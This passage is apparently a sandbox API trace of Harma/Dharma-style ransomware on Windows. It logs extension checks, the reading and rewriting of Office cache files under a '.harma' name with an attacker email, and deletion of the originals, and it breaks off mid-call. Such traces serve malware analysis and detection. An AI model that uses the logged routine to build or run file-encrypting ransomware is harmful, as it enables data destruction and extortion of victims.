lstrlenW (lpString=".7z") returned 3 [0066.375] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.375] lstrlenW (lpString=".dbf") returned 4 [0066.375] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.375] lstrlenW (lpString=".1cd") returned 4 [0066.375] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.375] lstrlenW (lpString=".jpg") returned 4 [0066.375] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.375] lstrlenW (lpString=".doc") returned 4 [0066.375] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.376] lstrlenW (lpString=".docx") returned 5 [0066.376] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.376] lstrlenW (lpString=".pdf") returned 4 [0066.376] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.376] lstrlenW (lpString=".xls") returned 4 [0066.376] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.376] lstrlenW (lpString=".xlsx") returned 5 [0066.376] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.376] lstrlenW (lpString=".ppt") returned 4 [0066.376] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.376] lstrlenW (lpString=".zip") returned 4 [0066.376] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.376] lstrlenW (lpString=".rar") returned 4 [0066.376] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.376] lstrlenW (lpString=".bz2") returned 4 [0066.376] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.376] lstrlenW (lpString=".7z") returned 3 [0066.376] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.376] lstrlenW (lpString=".dbf") returned 4 [0066.376] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.376] lstrlenW (lpString=".1cd") returned 4 [0066.376] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0066.376] lstrlenW (lpString=".jpg") returned 4 [0066.376] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.377] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.377] lstrlenW (lpString="AG00163_.GIF") returned 12 [0066.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0068.867] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=6984) returned 1 [0068.867] CloseHandle (hObject=0x1f0) returned 1 [0068.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0068.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) Thread: id = 11 os_tid = 0x9d8 [0038.303] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x6606a8 [0038.304] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x6706b0 [0038.304] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f02d0 [0038.304] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5f3090 [0038.304] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f02e8 [0038.304] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x33b0020 [0038.304] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0300 [0038.304] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0300, Size=0x20) returned 0x63fa90 [0038.304] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0300 [0038.304] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0300, Size=0x20) returned 0x63fab8 [0038.305] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0038.305] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0038.305] Wow64DisableWow64FsRedirection (in: OldValue=0x2c8ff58 | out: OldValue=0x2c8ff58*=0x0) returned 1 [0038.305] lstrlenW (lpString="kernel32.dll") returned 12 [0038.305] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fa90 | out: hHeap=0x5a0000) returned 1 [0038.305] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0038.305] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fab8 | out: hHeap=0x5a0000) returned 1 [0038.305] Sleep (dwMilliseconds=0x64) [0038.848] Sleep (dwMilliseconds=0x64) [0039.524] Sleep (dwMilliseconds=0x64) [0039.755] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.755] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0039.755] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0039.914] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1565) returned 1 [0039.914] CloseHandle (hObject=0x180) returned 1 [0039.914] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0039.914] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0039.914] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.914] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.915] GetLastError () returned 0x0 [0039.915] ReadFile (in: hFile=0x180, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x61d, lpOverlapped=0x0) returned 1 [0039.930] WriteFile (in: hFile=0x178, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x620, lpOverlapped=0x0) returned 1 [0039.931] ReadFile (in: hFile=0x180, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.931] WriteFile (in: hFile=0x178, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0039.931] SetEndOfFile (hFile=0x178) returned 1 [0039.931] CloseHandle (hObject=0x178) returned 1 [0039.932] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.932] SetEndOfFile (hFile=0x180) returned 1 [0039.933] CloseHandle (hObject=0x180) returned 1 [0039.933] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0039.933] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.934] lstrlenW (lpString=".doc") returned 4 [0039.934] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.934] lstrlenW (lpString=".docx") returned 5 [0039.934] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.934] lstrlenW (lpString=".pdf") returned 4 [0039.934] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.934] lstrlenW (lpString=".xls") returned 4 [0039.934] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.934] lstrlenW (lpString=".xlsx") returned 5 [0039.934] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.934] lstrlenW (lpString=".ppt") returned 4 [0039.934] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.934] lstrlenW (lpString=".zip") returned 4 [0039.934] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.934] lstrlenW (lpString=".rar") returned 4 [0039.934] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.934] lstrlenW (lpString=".bz2") returned 4 [0039.934] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.934] lstrlenW (lpString=".7z") returned 3 [0039.934] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.934] lstrlenW (lpString=".dbf") returned 4 [0039.934] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.934] lstrlenW (lpString=".1cd") returned 4 [0039.934] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.935] lstrlenW (lpString=".jpg") returned 4 [0039.935] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.935] lstrlenW (lpString=".doc") returned 4 [0039.935] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.935] lstrlenW (lpString=".docx") returned 5 [0039.935] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.935] lstrlenW (lpString=".pdf") returned 4 [0039.935] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.935] lstrlenW (lpString=".xls") returned 4 [0039.935] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.935] lstrlenW (lpString=".xlsx") returned 5 [0039.935] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.935] lstrlenW (lpString=".ppt") returned 4 [0039.935] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.935] lstrlenW (lpString=".zip") returned 4 [0039.935] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.935] lstrlenW (lpString=".rar") returned 4 [0039.935] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.935] lstrlenW (lpString=".bz2") returned 4 [0039.935] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.935] lstrlenW (lpString=".7z") returned 3 [0039.935] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.935] lstrlenW (lpString=".dbf") returned 4 [0039.935] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.936] lstrlenW (lpString=".1cd") returned 4 [0039.936] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.936] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0039.936] lstrlenW (lpString=".jpg") returned 4 [0039.936] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.936] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.936] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0039.936] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0039.937] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3186) returned 1 [0039.937] CloseHandle (hObject=0x180) returned 1 [0039.937] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0039.937] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0039.937] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.937] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.938] GetLastError () returned 0x0 [0039.938] ReadFile (in: hFile=0x180, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0xc72, lpOverlapped=0x0) returned 1 [0039.939] WriteFile (in: hFile=0x178, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0039.940] ReadFile (in: hFile=0x180, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.940] WriteFile (in: hFile=0x178, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0039.941] SetEndOfFile (hFile=0x178) returned 1 [0039.941] CloseHandle (hObject=0x178) returned 1 [0039.941] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.941] SetEndOfFile (hFile=0x180) returned 1 [0039.942] CloseHandle (hObject=0x180) returned 1 [0039.942] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0039.943] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0039.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.943] lstrlenW (lpString=".doc") returned 4 [0039.943] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.943] lstrlenW (lpString=".docx") returned 5 [0039.943] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.943] lstrlenW (lpString=".pdf") returned 4 [0039.943] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.943] lstrlenW (lpString=".xls") returned 4 [0039.943] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.943] lstrlenW (lpString=".xlsx") returned 5 [0039.943] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.943] lstrlenW (lpString=".ppt") returned 4 [0039.943] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.943] lstrlenW (lpString=".zip") returned 4 [0039.943] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.943] lstrlenW (lpString=".rar") returned 4 [0039.943] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.943] lstrlenW (lpString=".bz2") returned 4 [0039.943] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.943] lstrlenW (lpString=".7z") returned 3 [0039.943] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.944] lstrlenW (lpString=".dbf") returned 4 [0039.944] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.944] lstrlenW (lpString=".1cd") returned 4 [0039.944] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.944] lstrlenW (lpString=".jpg") returned 4 [0039.944] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.944] lstrlenW (lpString=".doc") returned 4 [0039.944] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.944] lstrlenW (lpString=".docx") returned 5 [0039.944] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.944] lstrlenW (lpString=".pdf") returned 4 [0039.944] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.944] lstrlenW (lpString=".xls") returned 4 [0039.944] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.944] lstrlenW (lpString=".xlsx") returned 5 [0039.944] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.944] lstrlenW (lpString=".ppt") returned 4 [0039.944] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.944] lstrlenW (lpString=".zip") returned 4 [0039.944] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.944] lstrlenW (lpString=".rar") returned 4 [0039.944] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.944] lstrlenW (lpString=".bz2") returned 4 [0039.944] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.945] lstrlenW (lpString=".7z") returned 3 [0039.945] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.945] lstrlenW (lpString=".dbf") returned 4 [0039.945] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.945] lstrlenW (lpString=".1cd") returned 4 [0039.945] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0039.945] lstrlenW (lpString=".jpg") returned 4 [0039.945] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.945] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.945] lstrlenW (lpString="Setup.xml") returned 9 [0039.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0039.945] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=4207) returned 1 [0039.945] CloseHandle (hObject=0x180) returned 1 [0039.946] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.946] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0039.946] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.946] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0039.946] GetLastError () returned 0x0 [0039.946] ReadFile (in: hFile=0x180, 